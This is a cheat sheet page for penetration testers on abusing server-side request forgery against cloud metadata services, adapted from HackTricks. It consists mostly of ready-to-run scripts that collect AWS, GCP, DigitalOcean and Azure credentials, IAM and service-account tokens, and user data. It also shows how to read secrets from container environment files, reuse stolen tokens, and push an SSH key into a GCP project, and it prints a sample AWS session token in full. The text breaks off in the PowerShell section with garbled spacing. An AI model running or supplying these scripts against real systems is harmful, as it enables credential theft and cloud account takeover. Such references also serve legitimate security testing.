daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

cloud-ssrf.md (45024B)


      1 ---
      2 title: "Cloud SSRF"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Cloud SSRF
     14 
     15 ## AWS
     16 
     17 ### Abusing SSRF in AWS EC2 environment
     18 
     19 The **instance metadata** endpoint is accessible from an EC2 instance at `http://169.254.169.254` and exposes information about that instance ([metadata documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
     20 
     21 There are **2 versions** of the metadata endpoint. The **first** one allows to **access** the endpoint via **GET** requests (so any **SSRF can exploit it**). For the **version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), you need to ask for a **token** sending a **PUT** request with a **HTTP header** and then use that token to access the metadata with another HTTP header (so it's **more complicated to abuse** with a SSRF).
     22 
     23 > [!CAUTION]
     24 > Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
     25 >
     26 > Moreover, **IMDSv2** will also **block requests to fetch a token that include the `X-Forwarded-For` header**. This is to prevent misconfigured reverse proxies from being able to access it.
     27 
     28 You can find information about the [metadata endpoints in the docs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). In the following script some interesting information is obtained from it:
     29 
     30 ```bash
     31 EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
     32 HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
     33 URL="http://169.254.169.254/latest/meta-data"
     34 
     35 aws_req=""
     36 if [ "$(command -v curl)" ]; then
     37     aws_req="curl -s -f -H '$HEADER'"
     38 elif [ "$(command -v wget)" ]; then
     39     aws_req="wget -q -O - -H '$HEADER'"
     40 else
     41     echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
     42 fi
     43 
     44 printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
     45 printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
     46 printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
     47 printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
     48 printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
     49 printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
     50 
     51 echo ""
     52 echo "Account Info"
     53 eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
     54 eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
     55 
     56 echo ""
     57 echo "Network Info"
     58 for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
     59   echo "Mac: $mac"
     60   printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
     61   printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
     62   printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
     63   echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
     64   printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
     65   echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
     66   printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
     67   echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
     68   echo ""
     69 done
     70 
     71 echo ""
     72 echo "IAM Role"
     73 eval $aws_req "$URL/iam/info"
     74 for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
     75   echo "Role: $role"
     76   eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
     77   echo ""
     78 done
     79 
     80 echo ""
     81 echo "User Data"
     82 # Search hardcoded credentials
     83 eval $aws_req "http://169.254.169.254/latest/user-data"
     84 
     85 echo ""
     86 echo "EC2 Security Credentials"
     87 eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
     88 ```
     89 
     90 As a **publicly available IAM credentials** exposed example you can visit: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
     91 
     92 You can also check public **EC2 security credentials** in: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
     93 
     94 You can then take **those credentials and use them with the AWS CLI**. This will allow you to do **anything that role has permissions** to do.
     95 
     96 To take advantage of the new credentials, you will need to create a new AWS profile like this one:
     97 
     98 ```text
     99 [profilename]
    100 aws_access_key_id = ASIA6GG71[...]
    101 aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
    102 aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
    103 ```
    104 
    105 Notice the **aws_session_token**, this is indispensable for the profile to work.
    106 
    107 [**PACU**](https://github.com/RhinoSecurityLabs/pacu) can be used with the discovered credentials to find out your privileges and try to escalate privileges
    108 
    109 ### SSRF in AWS ECS (Container Service) credentials
    110 
    111 **ECS**, is a logical group of EC2 instances on which you can run an application without having to scale your own cluster management infrastructure because ECS manages that for you. If you manage to compromise service running in **ECS**, the **metadata endpoints change**.
    112 
    113 If you access _**http://169.254.170.2/v2/credentials/\<GUID>**_ you will find the credentials of the ECS machine. But first you need to **find the \<GUID>**. To find the \<GUID> you need to read the **environ** variable **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** inside the machine.\
    114 You could be able to read it exploiting an **Path Traversal** to `file:///proc/self/environ`\
    115 The mentioned http address should give you the **AccessKey, SecretKey and token**.
    116 
    117 ```bash
    118 curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
    119 ```
    120 
    121 > [!TIP]
    122 > Note that in **some cases** you will be able to access the **EC2 metadata instance** from the container (check IMDSv2 TTL limitations mentioned previously). In these scenarios from the container you could access both the container IAM role and the EC2 IAM role.
    123 
    124 ### SSRF in AWS EKS Pod Identity credentials
    125 
    126 Recent EKS clusters can use **Pod Identity** instead of the older ECS-style relative URI flow. In these pods, EKS injects:
    127 
    128 - `AWS_CONTAINER_CREDENTIALS_FULL_URI=http://169.254.170.23/v1/credentials`
    129 - `AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE=/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token`
    130 
    131 Therefore, a SSRF/LFI capable of reading **env vars** or the projected **service account token file** can often recover the pod IAM credentials by querying the local credential endpoint with the authorization token from that file:<sup>[[1]](#references)</sup>
    132 
    133 ```bash
    134 # Common discovery primitives
    135 cat /proc/self/environ | tr '\\0' '\\n' | grep '^AWS_CONTAINER_'
    136 ls -l /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/
    137 
    138 # Use the projected token to query the local Pod Identity credential endpoint
    139 AUTH_HEADER=$(cat "$AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE")
    140 curl -s -H "Authorization: $AUTH_HEADER" "$AWS_CONTAINER_CREDENTIALS_FULL_URI"
    141 ```
    142 
    143 This is especially useful in **EKS webhooks**, **templating services**, or **URL fetchers** that run inside pods and expose a SSRF plus a local file read primitive. The response contains temporary AWS credentials that can be reused from the AWS CLI or tooling such as **Pacu**.<sup>[[1]](#references)</sup>
    144 
    145 ### SSRF for AWS Lambda
    146 
    147 In this case the **credentials are stored in env variables**. So, to access them you need to access something like **`file:///proc/self/environ`**.
    148 
    149 The **name** of the **interesting env variables** are:
    150 
    151 - `AWS_SESSION_TOKEN`
    152 - `AWS_SECRET_ACCESS_KEY`
    153 - `AWS_ACCESS_KEY_ID`
    154 
    155 Moreover, in addition to IAM credentials, Lambda functions also have **event data that is passed to the function when it is started**. This data is made available to the function via the [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) and could contain **sensitive** **information** (like inside the **stageVariables**). Unlike IAM credentials, this data is accessible over standard SSRF at **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
    156 
    157 > [!WARNING]
    158 > Note that **lambda credentials** are inside the **env variables**. So if the **stack trace** of the lambda code prints env vars, it's possible to **exfiltrate them provoking an error** in the app.
    159 
    160 ### SSRF URL for AWS Elastic Beanstalk
    161 
    162 We retrieve the `accountId` and `region` from the API.
    163 
    164 ```text
    165 http://169.254.169.254/latest/dynamic/instance-identity/document
    166 http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
    167 ```
    168 
    169 We then retrieve the `AccessKeyId`, `SecretAccessKey`, and `Token` from the API.
    170 
    171 ```text
    172 http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
    173 ```
    174 
    175 ![Blurred AWS metadata credentials returned through an Elastic Beanstalk SSRF](https://miro.medium.com/max/60/0*4OG-tRUNhpBK96cL?q=20) ![AWS metadata credentials returned through an Elastic Beanstalk SSRF](https://miro.medium.com/max/1469/0*4OG-tRUNhpBK96cL)
    176 
    177 Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
    178 
    179 ## GCP
    180 
    181 You can [**find here the docs about metadata endpoints**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
    182 
    183 ### SSRF URL for Google Cloud
    184 
    185 Requires the HTTP header **`Metadata-Flavor: Google`** and you can access the metadata endpoint in with the following URLs:
    186 
    187 - [http://169.254.169.254](http://169.254.169.254)
    188 - [http://metadata.google.internal](http://metadata.google.internal)
    189 - [http://metadata](http://metadata)
    190 
    191 Interesting endpoints to extract information:
    192 
    193 ```bash
    194 # /project
    195 # Project name and number
    196 curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
    197 curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
    198 # Project attributes
    199 curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
    200 
    201 # /oslogin
    202 # users
    203 curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
    204 # groups
    205 curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
    206 # security-keys
    207 curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
    208 # authorize
    209 curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
    210 
    211 # /instance
    212 # Description
    213 curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
    214 # Hostname
    215 curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
    216 # ID
    217 curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
    218 # Image
    219 curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
    220 # Machine Type
    221 curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
    222 # Name
    223 curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
    224 # Tags
    225 curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
    226 # Zone
    227 curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
    228 # User data
    229 curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
    230 # Network Interfaces
    231 for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
    232     echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
    233     echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
    234     echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
    235     echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
    236     echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
    237     echo "  ==============  "
    238 done
    239 # Service Accounts
    240 for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
    241     echo "  Name: $sa"
    242     echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
    243     echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
    244     echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
    245     echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
    246     echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
    247     echo "  ==============  "
    248 done
    249 # K8s Attributtes
    250 ## Cluster location
    251 curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
    252 ## Cluster name
    253 curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
    254 ## Os-login enabled
    255 curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
    256 ## Kube-env
    257 curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
    258 ## Kube-labels
    259 curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
    260 ## Kubeconfig
    261 curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
    262 
    263 # All custom project attributes
    264 curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
    265     -H "Metadata-Flavor: Google"
    266 
    267 # All custom project attributes instance attributes
    268 curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
    269     -H "Metadata-Flavor: Google"
    270 ```
    271 
    272 Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)
    273 
    274 ```text
    275 http://metadata.google.internal/computeMetadata/v1beta1/
    276 http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
    277 ```
    278 
    279 > [!CAUTION]
    280 > In order to **use the exfiltrated service account token** you can just do:
    281 >
    282 > ```bash
    283 > # Via env vars
    284 > export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
    285 > gcloud projects list
    286 >
    287 > # Via setup
    288 > echo "<token>" > /some/path/to/token
    289 > gcloud config set auth/access_token_file /some/path/to/token
    290 > gcloud projects list
    291 > gcloud config unset auth/access_token_file
    292 > ```
    293 
    294 ### Add an SSH key
    295 
    296 Extract the token
    297 
    298 ```text
    299 http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
    300 ```
    301 
    302 Check the scope of the token (with the previous output or running the following)
    303 
    304 ```bash
    305 curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {
    306         "issued_to": "101302079XXXXX",
    307         "audience": "10130207XXXXX",
    308         "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
    309         "expires_in": 2443,
    310         "access_type": "offline"
    311 }
    312 ```
    313 
    314 Now push the SSH key.
    315 
    316 ```bash
    317 curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
    318 -H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
    319 -H "Content-Type: application/json"
    320 --data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
    321 ```
    322 
    323 ### Cloud Functions
    324 
    325 The metadata endpoint works the same as in VMs but without some endpoints:
    326 
    327 ```bash
    328 # /project
    329 # Project name and number
    330 curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
    331 curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
    332 
    333 # /instance
    334 # ID
    335 curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
    336 # Zone
    337 curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
    338 # Auto MTLS config
    339 curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
    340 # Service Accounts
    341 for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
    342     echo "  Name: $sa"
    343     echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
    344     echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
    345     echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
    346     echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
    347     echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
    348     echo "  ==============  "
    349 done
    350 ```
    351 
    352 ### Cloud Run / Cloud Functions 2nd gen
    353 
    354 For **Cloud Run** and **2nd generation Cloud Functions** it is usually more interesting to steal not only the OAuth access token, but also an **audience-bound identity token** from the metadata server. This is useful when the compromised workload can reach **private Cloud Run services**, **IAP-protected backends**, or any service validating Google-issued ID tokens.
    355 
    356 ```bash
    357 # OAuth access token for the attached service account
    358 curl -s -H "Metadata-Flavor: Google" \
    359   "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
    360 
    361 # Audience-bound identity token
    362 curl -s -H "Metadata-Flavor: Google" \
    363   "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity?audience=https://TARGET-REGION-PROJECT.run.app"
    364 ```
    365 
    366 > [!TIP]
    367 > The **`identity`** endpoint requires an **`audience`** parameter. In real engagements this usually means that, after proving SSRF against `token`, you should enumerate internal service URLs and then request a second token with the exact audience expected by the target service.
    368 
    369 ## Digital Ocean
    370 
    371 > [!WARNING]
    372 > There isn't things like AWS Roles or GCP service account, so don't expect to find metadata bot credentials
    373 
    374 Documentation available at [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
    375 
    376 ```text
    377 curl http://169.254.169.254/metadata/v1/id
    378 http://169.254.169.254/metadata/v1.json
    379 http://169.254.169.254/metadata/v1/
    380 http://169.254.169.254/metadata/v1/id
    381 http://169.254.169.254/metadata/v1/user-data
    382 http://169.254.169.254/metadata/v1/hostname
    383 http://169.254.169.254/metadata/v1/region
    384 http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
    385 curl http://169.254.169.254/metadata/v1.json | jq
    386 ```
    387 
    388 ## Azure
    389 
    390 ### Azure VM
    391 
    392 [**Docs** in here](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
    393 
    394 - **Must** contain the header `Metadata: true`
    395 - Must **not** contain an `X-Forwarded-For` header
    396 
    397 > [!TIP]
    398 > An Azure VM can have attached 1 system managed identity and several user managed identities. Which basically means that you can **impersonate all the managed identities attached to a VM**.
    399 >
    400 > When requesting an access token to the metadata endpoint, by default the metadata service will use the **system assigned managed identity** to generate the token, if there is any system assigned managed identity. In case there is only just **ONE user assigned managed identity**, then this will be used by default. However, in case there is no system assigned managed identity and there are **multiple user assigned managed identities**, then the metadata service will return an error indicating that there are multiple managed identities and it's necessary to **specify which one to use**.
    401 >
    402 > The most complete way to enumerate the **attached managed identities** is usually via **Azure WireServer / GoalState / ExtensionsConfig**, because that platform configuration can expose the **user assigned managed identities** attached to the VM (for more info check: <https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/vms/index.html>).
    403 >
    404 > <details>
    405 >
    406 > <summary>Example Linux script to enumerate attached managed identities from the VM</summary>
    407 >
    408 > ```bash
    409 > #!/usr/bin/env bash
    410 > set -euo pipefail
    411 >
    412 > ws="http://168.63.129.16"
    413 >
    414 > goal_xml="$(curl -fsS -H "x-ms-version: 2012-11-30" "$ws/?comp=goalstate")"
    415 >
    416 > ext_url="$(
    417 >   GOAL_XML="$goal_xml" python3 - <<'PY'
    418 > import os
    419 > import xml.etree.ElementTree as ET
    420 >
    421 > root = ET.fromstring(os.environ["GOAL_XML"].strip())
    422 >
    423 > def lname(tag):
    424 >     return tag.rsplit("}", 1)[-1]
    425 >
    426 > for el in root.iter():
    427 >     if lname(el.tag) == "ExtensionsConfig" and (el.text or "").strip():
    428 >         print(el.text.strip())
    429 >         break
    430 > PY
    431 > )"
    432 >
    433 > ext_xml="$(curl -fsS -H "x-ms-version: 2012-11-30" "$ext_url")"
    434 >
    435 > EXT_XML="$ext_xml" python3 - <<'PY'
    436 > import os
    437 > import xml.etree.ElementTree as ET
    438 >
    439 > root = ET.fromstring(os.environ["EXT_XML"].strip())
    440 >
    441 > def lname(tag):
    442 >     return tag.rsplit("}", 1)[-1]
    443 >
    444 > ids = [el for el in root.iter() if lname(el.tag) == "UserAssignedIdentity"]
    445 >
    446 > if not ids:
    447 >     print("No UserAssignedIdentity nodes found")
    448 >     raise SystemExit(0)
    449 >
    450 > for idnode in ids:
    451 >     client_id = ""
    452 >     object_id = ""
    453 >     resource_id = ""
    454 >
    455 >     for child in idnode.iter():
    456 >         name = lname(child.tag)
    457 >         text = (child.text or "").strip()
    458 >         if name == "IdentityClientId":
    459 >             client_id = text
    460 >         elif name == "IdentityObjectId":
    461 >             object_id = text
    462 >         elif name == "IdentityResourceId":
    463 >             resource_id = text
    464 >
    465 >     print("[+] Managed Identity:")
    466 >     print(f"    ClientId   : {client_id}")
    467 >     print(f"    ObjectId   : {object_id}")
    468 >     print(f"    ResourceId : {resource_id}")
    469 > PY
    470 > ```
    471 >
    472 > </details>
    473 
    474 
    475 > [!WARNING]
    476 > If WireServer / GoalState is not reachable from your execution context, the following are useful **alternative ways** to identify attached managed identities:
    477 >
    478 > - Get **attached identities with az cli** (if you have already compromised a principal in the Azure tenant with the permission `Microsoft.Compute/virtualMachines/read`)
    479 >
    480 > ```bash
    481 > az vm identity show \
    482 >  --resource-group <rsc-group> \
    483 >  --name <vm-name>
    484 > ```
    485 >
    486 > - Get **attached identities** using the default attached MI in the metadata:
    487 >
    488 > ```bash
    489 > export API_VERSION="2021-12-13"
    490 >
    491 > # Get token from default MI
    492 > export TOKEN=$(curl -s -H "Metadata:true" \
    493 >  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
    494 >  | jq -r '.access_token')
    495 >
    496 > # Get needed details
    497 > export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
    498 >  "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
    499 > export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
    500 >  "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
    501 > export VM_NAME=$(curl -s -H "Metadata:true" \
    502 >  "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
    503 >
    504 > # Try to get attached MIs
    505 > curl -s -H "Authorization: Bearer $TOKEN" \
    506 >  "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
    507 > ```
    508 >
    509 > - **Get all** the defined managed identities in the tenant and **brute force** to see if any of them is attached to the VM (the permission `Microsoft.ManagedIdentity/userAssignedIdentities/read` is needed):
    510 >
    511 > ```bash
    512 > az identity list
    513 > ```
    514 >
    515 
    516 > [!CAUTION]
    517 > For this VM metadata endpoint, select a user-assigned managed identity with `object_id`, `client_id`, or `msi_res_id`; omitting all three selects the default managed identity ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)).
    518 
    519 ### Bash
    520 ```bash
    521 HEADER="Metadata:true"
    522 URL="http://169.254.169.254/metadata"
    523 API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
    524 
    525 echo "Instance details"
    526 curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
    527 
    528 echo "Load Balancer details"
    529 curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
    530 
    531 echo "Management Token"
    532 curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
    533 
    534 echo "Graph token"
    535 curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
    536 
    537 echo "Vault token"
    538 curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
    539 
    540 echo "Storage token"
    541 curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
    542 ```
    543 
    544 ### PS
    545 ```bash
    546 # Powershell
    547 Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
    548 ## User data
    549 $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
